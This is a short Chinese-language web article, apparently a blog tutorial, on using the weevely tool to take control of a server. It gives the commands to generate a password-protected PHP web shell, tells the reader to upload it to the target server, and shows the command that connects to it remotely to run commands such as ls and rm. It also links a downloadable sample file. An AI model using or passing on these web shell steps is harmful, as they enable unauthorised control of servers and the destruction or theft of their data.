首页 >
文章 >
安全
使用weevely一句话木马拿权
时间：2020-03-24 15:17:18 点击: 来源：本站 作者：admin
项目地址：https://github.com/epinna/weevely3
weevely是一款网页木马生成工具（仅限php），使用该工具可以生成php程序木马，从而实现拿权。
这里以kali系统使用为例，其他系统可先安装该工具后操作：生成文件... ...
项目地址：
https://github.com/epinna/weevely3weevely是一款网页木马生成工具（仅限php），使用该工具可以生成php程序木马，从而实现拿权。
这里以kali系统使用为例，其他系统可先安装该工具后操作：
生成文件（这里以密码test为例）：
weevely generate test ~/test.php
拷贝下来，保存到php文件中并上传到服务器，这里以t.php文件名为例（样例文件详见附件）。
本地使用以下命令登陆到远程主机（地址换成实际地址）：
weevely http://192.168.1.100/t.php test
此时就可以使用常规的ls,rm等命令操作服务器上的文件了。
附件下载
https://www.cnop.net/uploadfile/2020/0324/20200324033904986.zip
”您可通过以下微信二维码，赞赏作者“
